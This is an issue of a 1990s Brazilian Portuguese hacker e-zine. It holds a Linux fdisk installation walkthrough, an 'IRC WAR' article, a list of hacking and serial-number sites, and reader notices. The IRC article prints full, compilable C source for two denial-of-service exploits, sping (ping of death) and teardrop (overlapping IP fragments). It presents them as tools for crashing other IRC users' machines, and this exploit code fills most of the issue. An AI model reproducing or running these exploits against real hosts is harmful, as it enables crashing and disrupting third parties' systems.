na outra linha tem que informar o nmero de MBytes para a particao ex. '+80M' 
A ser necessrio criar um partio 'virtual'...  Siga o exemplo:

______________________________________________________________________
Command (m for help): n
Command action
e extended
p primary partition (1-4)
p

Partition number (1-4): 3
First cylinder (474-683): 474
Last cylinder or +size or +sizeM or +sizeK (474-683): +10M
______________________________________________________________________

Ficar mais ou menos assim:

______________________________________________________________________
Command (m for help): p
Disk /dev/hda: 16 heads, 38 sectors, 683 cylinders
Units = cylinders of 608 * 512 bytes

Device Boot Begin Start End Blocks Id System
/dev/hda1 * 1 1 203 61693 6 DOS 16-bit >=32M
/dev/hda2 204 204 473 82080 83 Linux native
/dev/hda3 474 474 507 10336 83 Linux native
______________________________________________________________________

Voc precisa trocar a partio /dev/hda3 de 'Linux native' para 'Linux Swap' 
use o comando 't'...

______________________________________________________________________
Command (m for help): t
Partition number (1-4): 3
Hex code (type L to list codes): 82
______________________________________________________________________

Agora voc precisa 'escrever' rite no winchester, confira mais uma vez a partio
teclando 'p' se estiver tudo legal (parecido com o exemplo) tecle 'w' para gravar ou 
q de quit para sair sem gravar.

Depois  so rebootar a mquina e fazer o procedimento de boot e root e quando o 
disco de root solicitar que digite 'setup', siga a instalao. pois seu winchester j est
particionado.

Preencha as opes do setup, Diga o diretrio onde esto os pacotes e voi-l!
Agora se voc instalou o linux bsico, e quer instalar mais pacotes downloadados, 
digite setup e entre no menu PKGTOOL.

-------------------------[Corte Aqui]-------------


Por enquanto eh so a instalacao devido ao grande tamanho da zine em bytes,
no proximo numero tem os comandos etc...

'Ghost Invader [Ghostin]
ghostin@freemail.globalsite.com.br 


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-[UHF]-=-=-=-=-
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


IRC WAR : by imapd
-=-=-=-


Bem estava esperando por esse momento!!!:)
Saiu nossa primeira ZINE!!!!!!!;) Espero continuar escrevendo nela, e que
vc's leitores mandem e-mails, fazendo criticas ou dando algumas
sugestoes...
Well.... sem perder tempo, vamos direto ao assunto!:)
Pra comeco de conversa, vou fala hoje de 2 nukes muito usados: sping e
teardrop!
Eh essa a moda que ta pegando no IRC, nego chega no canal #hacker e sai
nukando Deus e o mundo...

sping: eh um nuke muito usado, e facil de encontrar... ele vem junto com
alguns scripts pra BitchX (ftp.bitchx.org). Esse nuke trava sua makina
toda, tendo vc que ressetar ela! Ta ai o que eles chamam de "frezze"!;)

teardrop: bem, pra usuarios linux com kernel 2.0.30 (argh) ele resseta o
seu pc de vez.... ja em usuarios windows, a makina eh travada tbem, como o
sping!

Ai vai a fonte do programa sping em .c:


------------------------------[Cut Here]-------------------------------------


/* sping.c (aka win95ping.c ported to linux)
   6.20.97
   compile: gcc -DREALLY_RAW -DLINUX -o sping.c sping.c

there's a linux binary travelling around, called sping, that everyone
seems to want the source to. well, it's just win95ping.c ported to
linux... and the packet size was dropped from 1500 (1480 data + 20 ip
header) to 400 (380 data + 20 ip header). first, i dont understand
why people are anal tightwads about sourcecode. second, anyone think
of using tcpdump to figure out wtf sping did?! esh... anyway, for
those of you who wanted the code.. here is the linux port of win95ping.c,
sping.c. if you search like the august to december of 1996 bugtraq
archive, you will find the threads about win95ping.c.

-nimrood

----[some whirreds by bill 'bout win95ping.c]-----
                         Ping exploit program

   Bill Fenner (fenner@FREEFALL.FREEBSD.ORG)
   Tue, 22 Oct 1996 21:44:25 -0700

     * Messages sorted by: [ date ][ thread ][ subject ][ author ]
     * Next message: Kim Alm: "Re: Urgent !! Serious Linux Security
Bug...."
     * Previous message: Jon Lewis: "Re: Urgent !! Serious Linux Security
Bug..$     * Next in thread: Darren Reed: "Re: BoS: Ping exploit program"

Since some people don't necessarily have Windows '95 boxes lying around,
I wrote the following exploit program.  It requires a raw socket layer
that doesn't mess with the packet, so BSD 4.3, SunOS and Solaris are out.
It works fine on 4.4BSD systems.  It should work on Linux if you compile
with -DREALLY_RAW.

Feel free to do with this what you want.  Please use this tool only to
test
your own machines, and not to crash others'.  Mike, would you put it up on
your web page?

  Bill

  Simulate the evil win95 "ping -l 65510 buggyhost".
  version 1.0 Bill Fenner <fenner@freebsd.org> 22-Oct-1996

  This requires raw sockets that don't mess with the packet at all (other
  than adding the checksum).  That means that SunOS, Solaris, and
  BSD4.3-based systems are out.  BSD4.4 systems (FreeBSD, NetBSD,
  OpenBSD, BSDI) will work.  Linux might work, I don't have a Linux
  system to try it on.

----[EOF bill's whirreds on win95ping.c]----

*/

#include <stdio.h>
#ifdef LINUX    /* dont ask me why i did this, i was baked ;p */
#include "include/sys/types.h"
#include "include/sys/socket.h"
#include "include/netdb.h"
#include "include/netinet/in.h"
#include "include/netinet/in_systm.h"
#include "include/netinet/ip.h"
#include "include/netinet/ip_icmp.h"
#else
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#endif

/*
 * If your kernel doesn't muck with raw packets, #define REALLY_RAW.
 * This is probably only Linux.
 */
#ifdef REALLY_RAW
#define FIX(x)  htons(x)
#else
#define FIX(x)  (x)
#endif

int
main(int argc, char **argv)
{
        int s;
        char buf[400];
        struct ip *ip = (struct ip *)buf;

#ifdef LINUX
struct icmphdr *icmp = (struct icmphdr *)(ip + 1);
#else
struct icmp *icmp = (struct icmp *)(ip+1);
#endif

        struct hostent *hp;
        struct sockaddr_in dst;
        int offset;
        int on = 1;

        printf("linux port -nimrood 6.20.97\n");
        bzero(buf, sizeof buf);
#ifdef LINUX
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
#else
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {
#endif
                perror("socket");
                exit(1);
        }
        if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
                perror("IP_HDRINCL");
                exit(1);
        }
        if (argc != 2) {
                fprintf(stderr, "usage: %s hostname\n", argv[0]);
                exit(1);
        }
        if ((hp = gethostbyname(argv[1])) == NULL) {
                if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
                        fprintf(stderr, "%s: unknown host\n", argv[1]);
                }
        } else {
                bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr,
hp->h_length);
        }
        printf("Sending to %s\n", inet_ntoa(ip->ip_dst));
        ip->ip_v = 4;
        ip->ip_hl = sizeof *ip >> 2;
        ip->ip_tos = 0;
        ip->ip_len = FIX(sizeof buf);
        ip->ip_id = htons(4321);
        ip->ip_off = FIX(0);
        ip->ip_ttl = 255;
        ip->ip_p = 1;
#ifdef LINUX
ip->ip_csum = 0;
#else
ip->ip_sum = 0;                 /* kernel fills in */
#endif
        ip->ip_src.s_addr = 0;          /* kernel fills in */

        dst.sin_addr = ip->ip_dst;
        dst.sin_family = AF_INET;
#ifdef LINUX
icmp->type = ICMP_ECHO;
icmp->code = 0;
icmp->checksum = htons(~(ICMP_ECHO << 8));
#else
icmp->icmp_type = ICMP_ECHO;
icmp->icmp_code = 0;
icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));
#endif
                /* the checksum of all 0's is easy to compute */

        for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof
*ip)) {
                ip->ip_off = FIX(offset >> 3);
                if (offset < 65120)
                        ip->ip_off |= FIX(IP_MF);
                else
                        ip->ip_len = FIX(418);  /* make total 65538 */
                if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
                                        sizeof dst) < 0) {
                        fprintf(stderr, "offset %d: ", offset);
                        perror("sendto");
                }
                if (offset == 0) {
#ifdef LINUX
icmp->type = 0;
icmp->code = 0;
icmp->checksum = 0;
#else
icmp->icmp_type = 0;
icmp->icmp_code = 0;
icmp->icmp_cksum = 0;
#endif
                }
        }
}

------------------------------[Cut Here]-------------------------------------



Abaixo vai tambem a fonte do programa Teardrop:


------------------------------[Cut Here]-------------------------------------
                                                
/*
 *  Copyright (c) 1997 route|daemon9  <route@infonexus.com> 11.3.97
 *
 *  Linux/NT/95 Overlap frag bug exploit
 *
 *  Exploits the overlapping IP fragment bug present in all Linux kernels
and
 *  NT 4.0 / Windows 95 (others?)
 *
 *  Based off of:   flip.c by klepto
 *  Compiles on:    Linux, *BSD*
 *
 *  gcc -O2 teardrop.c -o teardrop
 *      OR
 *  gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>

#ifdef STRANGE_BSD_BYTE_ORDERING_THING
                        /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n)  (n)
#else                   /* OpenBSD 2.1, all Linux */
#define FIX(n)  htons(n)
#endif  /* STRANGE_BSD_BYTE_ORDERING_THING */

#define IP_MF   0x2000  /* More IP fragment en route */
#define IPH     0x14    /* IP header size */
#define UDPH    0x8     /* UDP header size */
#define PADDING 0x1c    /* datagram frame padding for first packet */
#define MAGIC   0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */
#define COUNT   0x1     /* Linux dies with 1, NT is more stalwart and can
                         * withstand maybe 5 or 10 sometimes...
Experiment.
                         */
void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short);

int main(int argc, char **argv)
{
    int one = 1, count = 0, i, rip_sock;
    u_long  src_ip = 0, dst_ip = 0;
    u_short src_prt = 0, dst_prt = 0;
    struct in_addr addr;

    fprintf(stderr, "teardrop   route|daemon9\n\n");

    if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
    {
        perror("raw socket");
        exit(1);
    }
    if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one,
sizeof(one))
        < 0)
    {
        perror("IP_HDRINCL");
        exit(1);
    }
    if (argc < 3) usage(argv[0]);
    if (!(src_ip = name_resolve(argv[1])) || !(dst_ip =
name_resolve(argv[2])))
    {
        fprintf(stderr, "What the hell kind of IP address is that?\n");
        exit(1);
    }

    while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
    {
        switch (i)
        {
            case 's':               /* source port (should be emphemeral) */
                src_prt = (u_short)atoi(optarg);
                break;
            case 't':               /* dest port (DNS, anyone?) */
                dst_prt = (u_short)atoi(optarg);
                break;
            case 'n':               /* number to send */
                count   = atoi(optarg);
                break;
            default :
                usage(argv[0]);
                break;              /* NOTREACHED */
        }
    }
    srandom((unsigned)(time((time_t)0)));
    if (!src_prt) src_prt = (random() % 0xffff);
    if (!dst_prt) dst_prt = (random() % 0xffff);
    if (!count)   count   = COUNT;

    fprintf(stderr, "Death on flaxen wings:\n");
    addr.s_addr = src_ip;
    fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
    addr.s_addr = dst_ip;
    fprintf(stderr, "  To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
    fprintf(stderr, " Amt: %5d\n", count);
    fprintf(stderr, "[ ");

    for (i = 0; i < count; i++)
    {
        send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
        fprintf(stderr, "b00m ");
        usleep(500);
    }
    fprintf(stderr, "]\n");
    return (0);
}

/*
 *  Send two IP fragments with pathological offsets.  We use an
implementation
 *  independent way of assembling network packets that does not rely on
any of
 *  the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
 */

void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
                u_short dst_prt)
{
    u_char *packet = NULL, *p_ptr = NULL;   /* packet pointers */
    u_char byte;                            /* a byte */
    struct sockaddr_in sin;                 /* socket protocol structure */

    sin.sin_family      = AF_INET;
    sin.sin_port        = src_prt;
    sin.sin_addr.s_addr = dst_ip;

    /*
     * Grab some memory for our packet, align p_ptr to point at the beginning
     * of our packet, and then fill it with zeros.
     */
    packet = (u_char *)malloc(IPH + UDPH + PADDING);
    p_ptr  = packet;
    bzero((u_char *)p_ptr, IPH + UDPH + PADDING);

    byte = 0x45;                        /* IP version and header length */
    memcpy(p_ptr, &byte, sizeof(u_char));
    p_ptr += 2;                         /* IP TOS (skipped) */
    *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);    /* total length */
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(242);   /* IP id */
    p_ptr += 2;
    *((u_short *)p_ptr) |= FIX(IP_MF);  /* IP frag flags and offset */
    p_ptr += 2;
    byte = IPPROTO_UDP;
    memcpy(p_ptr + 1, &byte, sizeof(u_char));
    p_ptr += 4;                         /* IP checksum filled in by kernel
*/
    *((u_long *)p_ptr) = src_ip;        /* IP source address */
    p_ptr += 4;
    *((u_long *)p_ptr) = dst_ip;        /* IP destination address */
    p_ptr += 4;
    *((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(8 + PADDING);   /* UDP total length */

    if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr
*)&sin,
                sizeof(struct sockaddr)) == -1)
    {
        perror("\nsendto");
        free(packet);
        exit(1);
    }

    /*  We set the fragment offset to be inside of the previous packet's
     *  payload (it overlaps inside the previous packet) but do not
include
     *  enough payload to cover complete the datagram.  Just the header
will
     *  do, but to crash NT/95 machines, a bit larger of packet seems to
work
     *  better.
     */
    p_ptr = &packet[2];         /* IP total length is 2 bytes into the header */
    *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
    p_ptr += 4;                 /* IP offset is 6 bytes into the header */
    *((u_short *)p_ptr) = FIX(MAGIC);

    if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
                sizeof(struct sockaddr)) == -1)
    {
        perror("\nsendto");
        free(packet);
        exit(1);
    }
    free(packet);
}

u_long name_resolve(u_char *host_name)
{
    struct in_addr addr;
    struct hostent *host_ent;

    if ((addr.s_addr = inet_addr(host_name)) == -1)
    {
        if (!(host_ent = gethostbyname(host_name))) return (0);
        bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
    }
    return (addr.s_addr);
}

void usage(u_char *name)
{
    fprintf(stderr,
            "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
            name);
    exit(0);
}

/* EOF */

------------------------------[Cut Here]-------------------------------------


Bom... na proxima tem mais.... ;)
Cya!
imapd@freemail.globalsite.com.br

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=[UHF]-=-=-
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=














SITES RULEZ!! - by: Ghost Invader
-=-=-=-=-=-=-


Esta sessao foi criada para lhe mostrar sites bem trabalhados e de boa quali-
dade na area hacking, ja que existem muitos que sao uma verdadeira porcaria,
que sempre colocam os mesmos assuntos do tipo:
- Significado de Hacker (Com certeza vc ja leu e nao quer ler de novo)
- Lammer clique aqui para se tornar um hacker (Netscape errors, hehe)
- Senhas de sites pornograficos ( Que nao funcionam desde 1800 ac)
- etc...
Abaixo vai uma lista de sites e os respectivos comentarios que com certeza
vao ser mais uteis que os que citei acima (blarg...)

                                              --------------------

ROOTSHELL PAGE
http://www.rootshell.com
(Otimo site de Exploits para LINUX e Windows NT)


ASTALAVISTA
http://astalavista.box.sk
(Indice de procura Hacker, muito bom para procura de seriais)


HACKBOX
http://hack.box.sk
(O mesmo do astalavista, mas com otimos links)


ANARCHY PAGE
http://www.xnext.com.br/users/anarchy
(Site com exploits e programa para linux)


ANO 2001 LINUX PAGE
http://www.terravista.ciclone.com.br/1166/framedir.htm
(Um dos sites mais completos sobre linux, contendo inclusive
um tutorial de mais de 136 paginas)


Cyber Mac's Home Page
http://www.geocities.com/CollegePark/Campus/7154/ 
(Otima hp com varios zines e textos bem variados)


                                              --------------------                                                  ---------------

Bom, por este zine eh so, mas espero que agora vc encontre coisas uteis
nestes sites e que faca bom uso delas...

'Ghost Invader [Ghostin]
ghostin@freemail.globalsite.com.br

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=[UHF]=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


MAILS DOS LEITORES 
-=-=-=-=-=-=-=-=-=-


Hehe, como eh a primeira edicao logico que nao tem mail de ninguem, por isso
eu peco a voces leitores que escrevam para nos dando criticas, sugestoes e
ate materias escritas por voces que se forem boas serao publicadas na zine
com os devidos creditos.


Ghost Invader ------> ghostin@freemail.globalsite.com.br
Cebola -------------> cebola_br@hotmail.com
BADgod--------------> Ainda nao disponivel
imapd---------------> imapd@freemail.globalsite.com.br


Voces tambem podem nos encontrar no canal #UHF em irc.horizontes.com.br ou
nos canais hacker da brasirc, brasnet etc... (Todos apos 21:00)


=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=[UHF]-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


QUADRO DE AVISOS
-=-=-=-=-=-=-=-=-


AVISO 1
-------

Nos gostariamos de esclarecer outra vez que qualquer mau uso das informacoes
aqui contidas sao de total responsabilidade do leitor, nao quero mails
de advogados dizendo que vao me processar e tal...


AVISO 2
-------

Gostariamos de avisar que nos nao temos a menor vontade de continuar esta
zine se os leitores nao demonstrarem interesse, porque o mesmo eh gratuito
e a nossa unica gratificacao eh o reconhecimento dos leitores, portanto
vamos entupir nossa caixa postal :))

Home Page: http://uhf.base.org
Email: uhf@freemail.globalsite.com.br 


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-[UHF]-=-=-
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


ULTIMATE
-=-=-=-=-

Obrigado por ler nossa zine, esperamos que a proxima edicao saia na
data prevista, caso nao saia nao se preocupem, se houver pelo menos
um mail nos incentivando, CONTINUAREMOS sempre aqui!!! :))





\_\_________________________/_/______
|_\_\___Ruindows_95________/_/_|_|-|X|      
|   \ \                   / /        |     
|     \ \   WINDOW SUX!! / /         |     
|       \ \   Fuckyou   / /          |
|         \ \Bill Gates/ /           | DELTREE \WINDOWS, INSTALL LINUX NOW!!
|           \ \       / /            |
|             \ \    / /             | 
|               \ \ / /              |
|                 \/\/               |
|_________________/_/\_\_____________|
by Ghost Invader / /   \ \
                / /      \ \
               / /        \ \
              / /           \ \




-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=END OF ZINE-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

